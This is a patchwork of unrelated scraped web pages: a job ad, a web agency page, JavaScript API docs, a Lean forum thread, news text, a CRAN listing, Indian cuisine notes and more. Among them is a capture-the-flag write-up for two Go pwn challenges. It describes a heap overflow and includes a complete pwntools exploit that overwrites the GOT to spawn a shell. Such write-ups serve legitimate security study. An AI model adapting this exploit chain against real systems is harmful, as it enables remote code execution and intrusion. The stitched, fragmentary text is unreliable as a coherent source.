IIT Guwahati Job for Junior Research Fellow
IIT Guwahati Job for Junior Research Fellow
Applications are invited for a Walk-in-interview for the following post(s) in the project entitled, “Structural and functional investigation of mammalian cell entry (MCE) proteins from human pathogens: development of structure-based lead molecules” at the Department of Biosciences & Bioengineering, IIT Guwahati.
- Post Name: Junior Research Fellow
- Qualification: M.Sc, B.Tech/B.E, BVSC, B.Pharma, Any Graduate, Any Post Graduate
- Vacancies: 01
- Salary: Rs. 30,250/-Per Month
- Experience: Fresher
- Job Location: Guwahati
- Walk-In Date: 07/12/2019
Address: Conference room, BSBE, Indian Institute of Technology Guwahati, Assam
Candidates have to appear in the Walk-in-Interview along with an application/CV on plain paper giving details of all educational qualifications, experience, contact address, phone no., Email etc. and submit photocopies of relevant documents at the time of interview on 07 Dec 2019 (Saturday) at 10 AM. Venue: Conference room, BSBE. Selection will be based on the performance of the candidate in the interview. Candidates will not be sent any call letters separately. An advance copy of CV may be sent to the Principal Investigator. For any clarification, contact: Shankar Prasad Kanaujia (Principal Investigator) Email<EMAIL_ADDRESS>Detail Notification: Click Here
Also Read: ICFRE Job, 2019 for Multi Tasking Staff


Super Heron Support helps small businesses get their online digital presence organized. Websites, Digital Ads, Online Marketing, SEO, Blog Posts, Social Media, Monthly Newsletters, Mobile Apps, Email Automation,
Oh My! So much to get organized!
... not sure? have a look at our services below:
What are we building?
Enjoy your success!
Super Heron Support (SHS) helps small businesses get their online digital presence organized. The web-based company was started by web developer Daniel Heron in 2012. One of his first clients called him “Super Heron” for the superhero level of support he provided. Hence, the company was born.
Have you ever tried to keep your house clean? Most of us realize that it takes constant maintenance. Your online space is just like that. Things get old, they go out of style, they get dirty! Digital platforms require updates and maintenance to keep them looking and working properly.
SHS helps you get your digital presence organized. Your digital websites, advertisments and marketing content will be so clear and easy to understand that your customers will do exactly what you want to them to do. We will free up your time so you can focus on your real work of service. So leave it to SHS to make sure your presence online is great.
Here are some examples from recent projects
It is important for us to take the time needed to clearly understand your desires for your online presence.


What made it click for me was programming in anger. Programming because I needed to. Programming because I gave a damn about what I was writing and I wanted it done sooner rather than later.
— David Heinemeier Hansson
What made it click for me was programming journalism in anger. Programming Journalism because I needed to. Programming Journalism because I gave a damn about what I was writing and I wanted it done sooner rather than later.
"Always remember that the people you're going after can change their evil ways.
But if they don't, make the fuckers bleed."
— Conn "Ringo" Hallinan
Welcome to the Antelope Valley
Dad's advice:
"Never get too comfortable. Never be afraid to walk away."
Programming...
...attention.
Hacking...
...on deadline.
For all the neutral style and straight-ahead presentation, the Amicos’ greatest gift, as people inventing a new model of journalism, turns out to be their sense of humanity.
— Clay Shirky


class Playhead
smx. Playhead
The Playhead class is a Document
navigation controller.
Provides a plain interface to navigate along a Document tree, keeps a navigation registry and emits useful events for listening to any movement.
Constructor
new Playhead(document)
Parameters
-
document
{smx.Document}
:The document to navigate through
Members
_document:smx.Document
- private
The document to navigate through
_selection:Array.<smx.Node>
- private
Contains all currently selected nodes ordered from outter to inner.
selection:Array.<smx.Node>
- readonly
Gets all currently selected nodes ordered from outter to inner.
head:smx.Node
- readonly
Gets the head node, which is the last node in selection.
root:smx.Node
- readonly
Gets the root node, which is the first node selection.
Methods
play([ref])
Performs play action
Parameters
-
[ref]
{String|smx.Node}
:target reference
enter()
Navigates to an inner node, moves the head to current head's first child.
exit()
Navigates to an outter node, moves the head to current head's parent.
previous()
Navigates to current head's previous sibling node.
forward()
Navigates to current head's next node in flat tree mode.
backward()
Navigates to current head's previous node in flat tree mode.
exec(keyword)
Executes a playhead command based on the given action keyword. keywords are basically some playhead's method names.
List of valid commands:
reset
, play
, next
, previous
,
enter
, exit
, forward
, backward
.
Parameters
-
keyword
{String}
navigate(target)
Navigates to a given target node or executes a playhead command.
If target
is a node will navigate to it, if target
is a string will
try to find a node identified as target
and will navigate to it. If
target
is a !
preffixed string will execute it as a playhead command.
See .exec()
for a list of valid commands.
Parameters
-
target
{String|smx.Node}
Example
//instance a new Playhead
var playhead = new smx.Playhead(doc);
//navigate by node identifier
playhead.navigate('a42');
//to to given node
playhead.navigate(node);
//using commands
playhead.navigate('!next')
//same as
playhead.exec('next')
// or
playhead.next();
on(name, callback, context)
Binds an event to a callback
function. Passing "all"
will bind
the callback to all events fired.
Parameters
-
name
{String}
-
callback
{function}
-
context
{Object}
once(name, callback, context)
Binds an event to only be triggered a single time. After the first time the callback is invoked, it will be removed.
Parameters
-
name
{String}
-
callback
{function}
-
context
{Object}
off(name, callback, context)
Remove one or many callbacks. If context
is null, removes all
callbacks with that function. If callback
is null, removes all
callbacks for the event. If name
is null, removes all bound
callbacks for all events.
Parameters
-
name
{String}
-
callback
{function}
-
context
{Object}


Obtain access to Premium Content at Datacamp.com We use material provided by Datacamp.com that otherwise is only available via paid premium subscriptions. Students can use this material with their @tilburguniversity.edu account for free. Learn here how to log in to unlock the content!
We use material provided by Datacamp.com that otherwise is only available via paid premium subscriptions. Students can use this material with their @tilburguniversity.edu account for free.
@tilburguniversity.edu
Learn here how to log in to unlock the content!


Write-up of both pwn challenges Gimme sum fud
and Yet Another HR Management Framework
which are ELF binary compiled from Go lang.
Gimme sum fud
Points: 100 Category: Pwn Author: Dagger
Introduction
In this challenge, we are given an ELF 64 bits binary. The binary is very simple, it read a string on its input and then display it.
Compare to a classic heap challenge, the binary size is a bit more huge. This challenge seem’s to be classic but it is not. The binary size is 1.5 Megabytes! The binary is as huge because it is coded in Go lang
.
Go lang load no more than 2053
functions in this binary! But we will not have to reverse every function. Only a few one will be useful for us.
Luckily for us, the binary is not stripped. In Go lang, after compilation, the main function is renamed main.main
. This is the function that interests us.
Vulnerability
The most important part of the main.main
function is the one below:
The function can be summarized with the following steps:
- It allocates a buffer on the heap of size 0x10 ;
- It allocates a second buffer on the heap of size 0x64 ;
- It read the content of the file “flag.txt” in the second buffer ;
- It read 0x1337 bytes from the input in the first buffer ;
- It prints the first buffer ;
The vulnerability is a buffer overflow located on the heap.
From this point it is very easy to get the flag. We will send enough writable bytes to join the second buffer and when the binary will print the first buffer, it will also print the second one.
In Go lang, the heap seem’s to be managed differently compare to a basic C/C++ binary. There is a huge padding between the first and the second buffer. The offset between both buffer is 1360 bytes.
Exploit
Let test it:
We just need to add a ‘R’ at the beginning of the flag: RITSEC{Muff1n_G0verFl0w_mmmm}
Done.
PS: You can find the binary and the exploit here
Yet Another HR Management Framework
Points: 250 Category: Pwn Author: Dagger
Introduction
In this challenge, we are given an ELF 64 bits binary. The binary is a bit more complicated than the previous one.
$ ./pwn2
Welcome to yet another human resources management framework!
============================================================
1. Create a new person
2. Edit a person
3. Print information about a person
4. Delete a person
5. This framework sucks, get me out of here!
Enter your choice: 1
Creating a new person...
 Create a new person
2. Edit a person
3. Print information about a person
4. Delete a person
5. This framework sucks, get me out of here!
Enter your choice: 3
Printing a person...
Enter person's index (0-based): 0
Name: Toto
Age: 33
Welcome to yet another human resources management framework!
============================================================
1. Create a new person
2. Edit a person
3. Print information about a person
4. Delete a person
5. This framework sucks, get me out of here!
Enter your choice: 4
Delete a person...
Enter person's index (0-based): 0
Done.
The binary allow us to manage a data structure on the heap which is named person
. We can do the following action on the structure:
- Create a person ;
- Edit a person ;
- Print a person ;
- Delete a person ;
The structure should look something like this:
struct person {
void (*printPerson)(void);
char *name;
int age;
};
There is some garbage after these fields but it is useless for our exploit.
Vulnerability
There are a lot of vulnerabilities in this exploit:
- In the
Edit person
function, the program doesn’t check if the person targeted is free or not which can lead to aUse After Free
; - In the
Edit person
function, there is no boundary check on the new given name size which lead to aheap overflow
; - In the
Print person
function, the program doesn’t check if the person targeted is free or not which can lead to either aUse After Free
or aMemory leak
; - In the
Delete person
function, the program doesn’t check if the person targeted is free or not which can lead to aDouble free vulnerability
; - In the
Delete person
function, the program doesn’t zero the pointer after freed it which gave us a dangling pointer and can lead to either aUse After Free
or aMemory leak
;
In my exploit, I choose to use the memory leak located in the Print person
function and the heap overflow
located in the Edit person
function. Using these vulnerabilities we can have a read/write primitive.
We must take care of the following protections:
- Partial RELRO is enabled, we can overwrite the entry’s of the Global Offset Table ;
- Stack Smash Protection is enabled, the stack contain canary’s ;
- NX is enabled, we can’t execute shellcode on the stack/heap ;
- PIE is disabled, we don’t need to leak the memory ;
- The source are FORTIFY, we don’t care about it. :)
We will first leak the LibC, the exploit plan is the following:
- Allocate three chunks on the heap. The first and the third one gonna be fast bins whereas the second one gonna a small bin. The third chunk is only used to avoid consolidation of the small bin with the top chunk when it will be free.
Below is a picture of the heap layout after this step:
We are going to use the first char *name
with the heap overflow vulnerability to overwrite the data contained in the struct person[1]
.
Next steps to have a leak:
- Free the second chunk (small bin) to populate
<EMAIL_ADDRESS>with the address of free() in the LibC. - Edit the first chunk to overflow into the second freed chunk to overwrite the
name
address with the GOT address of free(). (We must take care of the function pointer located before the name address because the function is called when we triggerPrint person
) - Call
Print person
to leak the LibC address of free().
Then we will call system(“/bin/sh”) using the following steps:
- Edit the first chunk, created before, to overwrite the address of name with the GOT address of free() ;
- Edit the second chunk to overwrite the GOT address of free() with the address of system() ;
- Edit again the first chunk to overwrite the address of the name with the one of “/bin/sh”, obtained by leaking the LibC ;
- Delete again the second person to call free() and trigger system(“/bin/sh”) ;
Exploitation
I use the following exploit to get the flag:
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from pwn import *
import os
context(arch="i386", os="linux", endian="little")
class Pwn:
def __init__(self):
self.e = ELF("./pwn2")
self.libc = ELF("./libc.so.6")
self.p = None
def start_binary(self):
self.p = remote("fun.ritsec.club", 1337)
self.p.recvuntil("choice: ")
def create(self, length, name, age):
self.p.sendline("1")
self.p.recvuntil("length: ")
self.p.sendline(str(length))
self.p.recvuntil("name: ")
self.p.sendline(name)
self.p.recvuntil("age: ")
self.p.sendline(str(age))
self.p.recvuntil("choice: ")
def edit(self, index, length, name):
self.p.sendline("2")
self.p.recvuntil("(0-based): ")
self.p.sendline(str(index))
self.p.recvuntil("length: ")
self.p.sendline(str(length))
self.p.recvuntil("name: ")
self.p.sendline(name)
self.p.recvuntil("choice: ")
def view(self, index):
self.p.sendline("3")
self.p.recvuntil("(0-based): ")
self.p.sendline(str(index))
return self.p.recvuntil("choice: ")
def delete(self, index):
self.p.sendline("4")
self.p.recvuntil("(0-based): ")
self.p.sendline(str(index))
self.p.recvuntil("choice: ")
def exit(self):
self.p.sendline("5")
def leak_stack(self):
offset="A"*24
payload=offset+p32(self.e.symbols["printPerson"])+p32(self.e.got["free"])
self.create(20, "A"*10, 20)
self.create(180, "B"*10, 20) # Allocate small bin
self.create(20, "C"*10, 20) # Avoid top chunk consolidation
self.delete(1) # Populate<EMAIL_ADDRESS>self.edit(0, 4000, payload) # Heap overflow
data=self.view(1)[6:10] # UaF to Leak
return u32(data)
def exec_system(self, libc_base):
offset="A"*28
payload=offset+p32(self.e.got["free"])
self.edit(0, 4000, payload) # Overwrite name address with<EMAIL_ADDRESS>self.edit(1, 10, p32(libc_base+self.libc.symbols["system"])) # Overwrite<EMAIL_ADDRESS>with system()
payload=offset+p32(libc_base+next(self.libc.search("/bin/sh\x00")))
self.edit(0, 4000, payload) # Overwrite name address with<EMAIL_ADDRESS>self.p.sendline("4")
self.p.recvuntil("(0-based): ")
self.p.sendline("1") # Trigger system("/bin/sh")
self.p.interactive()
self.p.close()
def pwn_binary(self):
self.start_binary()
libc_base=self.leak_stack()-self.libc.symbols["free"]
log.info("Leak libc base address: "+hex(libc_base))
self.exec_system(libc_base)
def main():
pwn = Pwn()
pwn.pwn_binary()
if __name__ == "__main__":
main()
Let’s try it:
Done.
PS: You can find the binary and the exploit here


I codez good sometimes, just wrote this beauty:
http://ids.map { |id| id["id"] }
4/3/2020, 10:23:54 AM
Favs: 3
Retweets: 0
link--- layout: tweet ---
I codez good sometimes, just wrote this beauty:
http://ids.map { |id| id["id"] }
4/3/2020, 10:23:54 AM
Favs: 3
Retweets: 0
link


The CUDD package is available via anonymous FTP from vlsi.Colorado.EDU. A compressed tar file named cudd-2.4.1.tar.gz can be found in directory pub. Once you have this file,
gzip -dc cudd-2.4.1.tar.gz | tar xvf -will create directory cudd-2.4.1 and its subdirectories. These directories contain the decision diagram package, a few support libraries, and a toy application based on the decision diagram package. There is a README file with instructions on configuration and installation in cudd-2.4.1. You can use a compiler for either ANSI C or C++.
Once you have made the libraries and program, you can type:
cd nanotravThis will run a simple-minded FSM traversal program. (On a 200 MHz PentiumPro (TM), it takes about 6 sec.) The output produced by the program can be checked against the contents of cudd-2.4.1/nanotrav/mult32a.out. More information on the nanotrav program can be found in cudd-2.4.1/nanotrav/README.
nanotrav -p 1 -autodyn -reordering sifting -trav mult32a.blif
If you want to be notified of new releases of the CUDD package, send a message to<EMAIL_ADDRESS>Two CUDD extensions are available via anonymous FTP from vlsi.Colorado.EDU.


Triggers are functions. Those functions are executed when temperature overs a specified threshold.
USB Thermometer application has six different types of triggers:
Adding a new trigger
To manage triggers open the triggers configuration window from menu bar or toolbar. Click the New button
on the window form and choose the trigger type from the list with appears after you have pressed the button.
The state of triggers
The newly created trigger stays inactive. The triggers configuration window has a list of triggers on the left side.
The every trigger has an icon with identifies its state:
- The inactive trigger.
- The active trigger.
After the trigger has been configured, it is indispensable to activate it. To do so check an Enabled checkbox
on the top of the configuration window. Every change of the trigger state or configuration must be confirmed.
Click the Save button on the bottom off the window to save the trigger configuration and activate it.
Basic settings
Before activate the trigger, it is indispensable to configure it. The basic settings (common for all trigger types)
has been described below. Specifics triggers settings have been described in separated chapters.
- Name Name of the trigger allows to distinguish it from the others on the triggers list.
- Sensor Sensor with temperature changes executes the trigger.
- Threshold The Trigger executes below or over the value with has been specified as the threshold.
- Trigger below or over threshold The setting configures if the trigger executes below or over the
value specified as the threshold.
- Hysteresis Next execution of the trigger is delayed until the temperature achieve the value less or
bigger (it depends on the Trigger below or over threshold parameter) of the threshold value plus
the hysteresis value. The hysteresis minimum value is 0.1 and must be always positive.
Example
The threshold is set to 20.0, execution is set over the threshold, the hysteresis is set to 2.0. Temperature grows
from 15.0 to 22.0. When the temperature achieves 20.1 the trigger executes. Subsequently the temperature fails to
19.0. When the temperature is falling the trigger does not execute. After this the temperature grows again to 23.0.
When the temperature is growing the trigger does not execute because the hysteresis value has not been achieved.
After the temperature falls below the 18.0, the hysteresis value will be achieved and next grow of the temperature
will execute the trigger.
|


The orange is the fruit of the citrus species Citrus × sinensis in the family Rutaceae. It is also called sweet orange, to distinguish it from the related Citrus × aurantium, referred to as bitter orange. The sweet orange reproduces asexually (apomixis through nucellar embryony); varieties of sweet orange arise through mutations.
The orange is a hybrid between pomelo (Citrus maxima) and mandarin (Citrus reticulata).
Price = {{ price | currency : "Rs."}}


| 400 | (A) | witħ silke and witħ selcouthe werke of syluer Enbetyn |
| 402 | (C) | Of sylke & of syluur semely arayede |
| 403 | (D) | Of selk and of seluer semely arayed |
| 398 | (E) | of selk & of syluer . seemliche arayed |
| (Ex) | ---- no text ---- | |
| 414 | (L) | Of selke & sendel with seluere ybetyn |
| 383 | (P) | Of silke & selcouth werke & syluer in betyn |
| 396 | (U) | Of silk and of sendełł / semely araied |
| (V) | ---- no text ---- |


In researching my new book, Proust's Duchess, Proust's Duchess: How Three Celebrated Women Captured the Imagination of Fin-de-Siecle Paris one of the most exciting moments came when I discovered an article from 1893, published under a pseudonym in a leading Parisian society daily, that only Marcel Proust could have written, yet that no previous historian, biographer, or literary scholar had attributed to him. Here are some highlights from the Guardian's recent reporting on my discovery:
"Two lost essays by Marcel Proust about Parisian high society at the fin de siècle are to be published in English for the first time following their discovery by an American scholar. Of particular significance to academics are their revelations that the great French novelist was exploring ideas for In Search of Lost Time, his autobiographical masterpiece, around 14 years earlier than previously thought. ...
"The Great Parisian Salons, dates from 1893 when Proust was just 21, and runs to around 1,850 words. It had been completely overlooked until now because Proust had written it under the pseudonym Tout-Paris in Le Gaulois, a prestigious society journal. ...
"Commenting on The Great Parisian Salons, Weber told the Observer: 'No one ever knew that Proust wrote the article.'
For the full article, follow this link.
You can learn more about Proust's Duchess from a synopsis on another page from this site or the its page at Amazon.
Proust's Duchess: How Three Celebrated Women Captured the Imagination of Fin-de-Siecle Paris


I'm a 4th year Software Engineering student at the University of Waterloo. I have a passion for mobile development with a keen interest in solving problems related to app architecture and user experience.
Check out my resume and feel free to connect on any of the platforms below!
Cumulative GPA: 84.36%


12: Creating empty files with the touch command
The following sections will deal with Unix commands that help us to work with files, i.e. copy files to/from places, move files, rename files, remove files, and most importantly, look at files. First, we need to have some files to play with. The Unix command touch will let us create a new, empty file. The touch command does other things too, but for now we just want a couple of files to work with.
learner@:learning_unix$ touch heaven.txt
learner@:learning_unix$ touch earth.txt
learner@:learning_unix$ ls
earth.txt heaven.txt


Subscribe
Large
Sign up
World
U.S.
Technology
Design
Culture
Business
Politics
Opinion
Science
Health
Style
Travel


Face verification works by using the webcam to monitor who is using a website. If it's not the expected person, the secure content can be hidden. If multiple people are looking at the screen, this could be considered a security risk, and the secret content can be hidden.
Can't see anything? Make sure you have taught your face to Facebox, and there is nobody else looking at the screen.
To run this demo, make sure Facebox is running on http://localhost:8080
.
You can do this by running the following command in a terminal:
docker run -p 8080:8080 -e "MB_KEY=$MB_KEY" machinebox/facebox
You can grab a free MB_KEY
from the Machine Box website.
Once Facebox is running, go to http://localhost:8080 and teach Facebox with your profile picture.
The webcam stream is used to take a snapshot at regular intervals. The snapshots are sent to Facebox for analysis. If Facebox doesn't recognize the person, or if there are multuple faces detected, the secure content is hidden.


--- layout: archive title: Zulip Chat Archive permalink: /stream/113489-new-members/topic/zero_max.20a.20rfl.20lemma.html ---
Hello,
I was messing around with suggest
just now and I found that zero_max
in data.nat.basic
can be proved by rfl
, i.e. the following code works for me:
lemma zero_max {m : nat} : max 0 m = m := rfl
But the proof of this lemma in my version of mathlib is
lemma zero_max {m : nat} : max 0 m = m := max_eq_right (zero_le _)
Should this be changed?
yes
no
refl proofs are more brittle. This adds an unneeded dependence on the fact that the decidable instance of 0 <= m
reduces to true, as well as the fact that the definition of max a b
is if a <= b then b else a
instead of if b <= a then a else b
the given proof is insensitive to such details
Oh... so rfl
isn't always the best possible proof? That's really weird.
another example of a theorem that can be proven by rfl but really shouldn't is 100 * 100 = 10000
Is the reason that tactics can use binary reprs while kernel does unary, or something else?
yes
the kernel is forced to use the definition of nat
, which is unary and horrible for computation
I'm starting to come around to the idea that rfl
is the worst possible proof. It's the ultimate "Mathematician A: the proof is obvious. Mathematician B [several hours later]: yes, it is obvious."
It says: well, if you go an unfold definitions, possibly all the way down to the beginnings, you will eventually see that these two things really are the same thing. No one likes to do that, and quite reasonably the kernel sometimes does a terrible job at it.
I'm not convinced this is true in general. One can construct efficient decision procedures, in which case a proof by rfl
does not have to carry out a long computation.
There are proofs where rfl
is the appropriate way to prove it. dec_trivial
is like this, in that you are expected to be able to reduce a term of type decidable p
to one of its constructors
that doesn't mean it's the fastest proof though
kernel reductions are constrained by a certain approach to the problem that relies on the definition of the inductive types. You have to really write things carefully if you want kernel reduction to not suck. Even using the equation compiler isn't a great idea because it generates huge terms that slow down reduction
Is there a way to prove 100*100 = 10000
using binary instead of unary?
by norm_num
Last updated: Apr 24 2020 at 19:02 UTC


Sofia - the social Robot?
WASHINGTON — The Trump administration on Thursday imposed sanctions on a series of Russian organizations and individuals in retaliation for interference in the 2016 presidential elections and other “malicious cyberattacks.” It was the most significant action taken against Moscow since President Trump took office. The sanctions came at the same time the United States joined with Britain, France and Germany in a statement denouncing Russia for its apparent role in a nerve-gas attack on a former Russian spy and his daughter on British soil, calling it a “clear violation” of international law. But the statement did not say anything about any action in response. In his first personal comment on the poison attack, Mr. Trump agreed that, despite its denials, Russia was likely behind it. “It looks like it,” he told reporters in the Oval Office. “I spoke with the prime minister and we are in deep discussions. A very sad situation. It certainly looks like the Russians were behind it. Something that should never ever happen. We’re taking it very seriously, as are I think many others.” In keeping with his reluctance to blame Moscow for meddling in the 2016 presidential campaign, Mr. Trump did not mention the sanctions or election interference. The president has repeatedly dismissed the suggestion that Russia sought to influence the vote in his favor as a “hoax” and


BTSPAS provides advanced Bayesian methods to estimate abundance and run-timing from temporally-stratified Petersen mark-recapture experiments. Methods include hierarchical modelling of the capture probabilities and spline smoothing of the daily run size. This version uses JAGS to sample from the posterior distribution.
| Version: | 2014.0901 |
| Imports: | coda, splines, actuar, rjags, R2OpenBUGS, ggplot2, plyr |
| Suggests: | BRugs |
| Published: | 2014-08-26 |
| Author: | Carl J Schwarz and Simon J Bonner |
| Maintainer: | Carl J Schwarz <cschwarz at stat.sfu.ca> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| URL: | http://www.stat.sfu.ca/~cschwarz/Consulting/Trinity/Phase2 |
| NeedsCompilation: | no |
| SystemRequirements: | JAGS |
| Citation: | BTSPAS citation info |
| Materials: | README NEWS |
| CRAN checks: | BTSPAS results |
| Reference manual: | BTSPAS.pdf |
| Package source: | BTSPAS_2014.0901.tar.gz |
| Windows binaries: | r-devel: BTSPAS_2014.0901.zip, r-release: BTSPAS_2014.0901.zip, r-oldrel: BTSPAS_2014.0901.zip |
| OS X binaries: | r-release: BTSPAS_2014.0901.tgz, r-oldrel: BTSPAS_2014.0901.tgz |
| Old sources: | BTSPAS archive |
Please use the canonical form https://CRAN.R-project.org/package=BTSPAS to link to this page.


The first paragraph in body (even).
The last paragraph in body (odd).
The first paragraph in div (even).
The second paragraph in div (odd).
The third paragraph in div (even).
The last paragraph in div (odd).
This is a span element.The first paragraph in another div (even).
The second paragraph in another div (odd).
The third paragraph in another div (even).
The last paragraph in another div (odd).


Come meet DiversaTech executives and learn more about us!
Time: TBA
Location: TBA
Can't make it to the first info session? Come to our info session!
Time: TBA
Location: TBA
Apply to become our senior consultant!
DeadLine: TBA
Show us your interpersonal skills!
Time: TBA
Location: TBA
Contents update soon!


IfGreater()
Performs a branch by comparing two arguments using the greater than operator.
Instructions using this operation essentially achieve the following:
if (r[1] > r[2]) {
return 1.0;
} else {
return 0.0;
}
This can be used by an interpreter to determine if a branch should be taken or not (by treating the return value as a boolean).


{{/* Call the FullName method with argument true in the Customer field */}} Customer: {{.Customer.FullName true}} {{/* This is long winded way of just printing .Customer.Email. We assign the email value to the variable $email and pipeline it to the function printf */}} Email: {{with $email := .Customer.Email}}{{$email | printf "%q"}}{{end}}
{{/* Renders the ShiptmentID field */}} Shipment ID: {{.ShipmentID}}
Free Shipping? {{/* Conditional action accepts only 1 bool argument, so to evaluate TotalCost() > 40.0, we need to use function gt to compare */}} {{if gt .TotalCost 40.0}}Yes{{else}}No{{end}}
{{/* Definte the content for the template and params to pass */}} {{define "item"}}Free Shipping?
| Product | Qty | Cost |
|---|


--- layout: post title: Post May Meeting Update categories: - Meetings tags: [] status: publish type: post published: true meta: _edit_last: '2' --- Hello everyone, It was brought to my attention that we had forgotten to post up the code examples from the last meeting. As promised here are the links to the code.


--- layout: post title: 'The myth of \"keeping up\"' date: 2006-05-02 00:00:00 category: digital-media ---
The myth of "keeping up": "You can't keep up. There is no way. And trying to keep up will probably just make you dumber.You can never be current on everything you think you should be. You can't simultaneously be current on:
And on and on and on..."
I like some of their ways around this though:


We're sorry but vue-shop doesn't work properly without JavaScript enabled. Please enable it to continue.


India is the paradise for food, boasting of not one or two but about as many cuisines as the number of communities.Food of India can be categorized into North Indian and South Indian for the purpose of simplicity. But that is a simplistic categorization, for even within every state in India one finds great culinary variation.
The food of Jammu and Kashmir differs from region to region. The Hindu Dogras of Jammu being predominantly vegetarian, eat a staple diet of wheat and beans The Ladakhis eat rice, wheat, millet, locally produced vegetables and fruits, goat meat and dairy products made from yak milk. The most famous cuisine of the state though is Kashmiri. Dishes are cooked for a long time, so the meats may fully absorb the flavors of the accompanying condiments. The seasons and availability of fresh produce dictates the ingredients, some of which are dried for use in the winter months. The Kashmiri cuisine is essentially meat-based There is a variation in the different eating habits of the Hindu and Muslim Kashmiris that determines which spices are used and which meats too since beef is prohibited for Hindus.
The food of Punjab is meant for the strong-hearted. It is rich in flavours and has a liberal dose of ghee (clarified butter) and spices. Punjab has an abundance of milk and therefore milk products are an important part of daily diet. No meal is complete without large glassfuls of butter milk or lassi (yoghurt drink). The people of this region are largely wheat eaters and have developed variations of breads including the stuffed a/oo paralha (potato bread) and the makke ki roti (maize bread). Vegetarian delights such as sarson saag (mustard leaf curry), rajma-chawal (kidney beans with steamed rice) and kadhi (gram flour and yoghurt curry) are the most popular Punjabi dishes. Punjabis have also created a combination of the northwest frontier cuisine and Mughlai recipes to present rich poultry and mutton dishes. The ubiquitous "tandoori chicken" s a great favorite!
The cuisine of Uttar Pradesh is just as diverse as its geography. Ranging from simple every day fare to rich, elaborate banquets, the cuisine of Uttar Pradesh has absorbed and adapted a variety of cuisines to create an entire smorgasbord of wonderful dishes. The people of Uttar Pradesh love to cook, to eat and to feed! Difference in communities notwithstanding, as a people, they are very warm and hospitable. For most of them, the ultimate in hospitality means you feed your guests till they beg for mercy. Many Hindu communities are staunch vegetarians and they have created a vast variety of vegetarian dishes ranging from the all time favorite puri-aloo (potatoes and fried wheat bread) to savouries and divine desserts and sweetmeats.
The Muslims, Kashmiris, Kayasthas and Christian communities cook up a storm of non-vegetarian dishes including a delectable selection of breads, kebabs, curries and biryanis. The Muslim cuisine, of northern Uttar Pradesh is very different from the Mughlai food of Delhi. The Nawabs of Oudh (now Lucknow) were great gourmets and encouraged their master chefs to create new styles of cooking like the famous Dum Pukht where the food is sealed in large pots called "handis", placed over a slow fire and left to cook in its own juices. When opened, these dishes release the most fragrant and delicious aromas. Lucknow and its neighboring towns were put on the culinary map of India thanks to these rich curries, melt in the mouth kebabs, fragrant rice biryanis and pulaos and an eclectic collection of leavened and unleavened breads.
India best known cuisine came from the Mughals and along with European cooking, influenced the royal kitchens However, the common man kitchen in Rajasthan remained unaffected and the simplest ingredients go into preparing most dishes.
The food owes much to the demands and ingenuity of the lifestyle of the people. For example, the universal favorites Dal-baati (lentil curry with wheat dough balls roasted in hot coals) and choorma (dry. flaky, wheat bread crumb pudding garnished with raisins and almonds) were food items that could be carried for days in the hot desert climate by warriors. Baalis could be buried in the hot desert sands and slowly baked till required. Non-vegetarian dishes include soola or barbecued meats marinated to succulent tenderness and grilled on open coal fires. Its origins lie in the yesteryear hunting expeditions of the nobility.
In the desert areas of Jaisalmer, Bikaner and Barmer the scarcity of water and fresh green vegetables had- its impact on the creativity of the cooks. Instead of water, the womenfolk of the herdsmen used milk, buttermilk and clarified butter that was available in plenty, as well as dried lentils and beans from native plants. Gram flour is a major ingredient and is used for preparing delicacies like gatta ki sabzi, pakodi and khata. Bajra and corn, the staple grains, go to making rotis, rabdi and kheechdi. And various chutneys prepared from locally available spices like coriander, garlic, mint and turmeric round off the regional flavor. read more...
However, it is sweets that the Rajasthan really excel in, each region having its specialty. So Jaipur is famous for its mishri mawa and ghevaf, neighboring Pushkar for its malpuas, Ajmer for its "sohan halwa", Jodhpur and Jaisalmer for their "laddoos, Bikaner for its "rasgullas" and Udaipur for its "diljam. And you can find mouth watering, crisp and syrupy jalebis everywhere. Being constantly on the move, the Rajasthanis required foodstuff that could last several days and be easily carried. So, a large number of savoury snacks were developed - "dal-moth". "mathrf. bhujia". khatta-meetha sev1, which are popular to this day.
Almost always strictly vegetarian, Gujarati cuisine is unlike any other Indian cuisine. The difference lies in the unusual blending of the sweet with the savoury into a harmonious whole. Even though the state of Gujarat has absorbed many outside influences down the ages, the cuisine has remained much the same. The grand spread of Gujarati cuisine can be glimpsed and savoured in the very popular "Gujarati Thali" a large silver platter consisting of innumerable bowls full of vegetable curries, dais or lentil based gravies, a variety of breads, savories - crispy fried farsans. Sweetmeats and an amazing range of sweet and sour chutneys and pickles. The entire meal including the vegetables and dais (curried lentils) achieves a delicate balance of flavours - sweet and sour, salty and spicy, crisp and soft, low fat and deep-fried!
Some of the well-known Gujarati delicacies are Paunk (combination of various roasted cereals), undhyoo (a specialty of potatoes, sweet potatoes, brinjals and broad beans baked in an earthenware pot in a mud oven), kadi.-(a curry of yogurt and chopped vegetables), khamam dhokla (a salty, sweet-and-sour cake made from chickpea flour), shrikhand (a dessert made from yoghurt spiced with saffron, nuts, cardamom and dry fruit) and doodfi pak (a dessert of thick sweetened milk with dry fruit and nuts).
Bengali food consists of a lot of fish, lentils and rice. Breakfast could be milk and rice flakes eaten with gur (jaggery) or luchi (fluffy wheat pancake) with aloo dum (a dry spicy potato dish not to be mistaken for the Kashmiri dum a/oo). Lunch and dinner are elaborate affairs. The first course is rice and daal (lentil curry) with vegetables, pickled mangoes and fresh salad. It is followed by rice and meat and yet another course of rice and-fish: Great fish eaters, the true blue Bengali is the one who can crunch fish bones without letting them stick in the throat! The "hilsa" fish is a specialty when cooked in mustard sauce.
Bengalis love sweets. A vast array of milk based "mithai" (sweetmeats) originated in Bengal. The light and spongy Rosogulla, the mouth-watering Sandesh are available all over India, but nowhere do they taste as they do in Kolkata. Sweetshops in other parts of the country just have lo call themselves "Bengali Sweet House" and their reputation is established. If you are ever in Kolkata do try the delectable Mishti Doi (rich sweet yoghurt).
Andhra food is deliciously hot and tangy. The everyday favorite is pulihara. tamarind rice spiced up with sliced green chilies. Telugu people love their side dishes, pickles that ill have you red in the face, crisp poppadums and yoghurt. The dosa, a rice pancake is special in Andhra. Called the pessaratu, it is filled with a savoury semolina preparation called uppama.read more...
Famous all over the world, the aromatic meat* and rice preparation called biryani belongs to Hyderabad. Taking its cue from the Nizams of Hyderabad, this distinctly Muslim food is mainly concerned with succulent meats, sweet spices and ways of putting them together in the most delectable fashion there could be. Fruits, like custard apples, bananas, mangoes and the locally grown grape, anab e shahi, act like an antidote to the spices of the food.
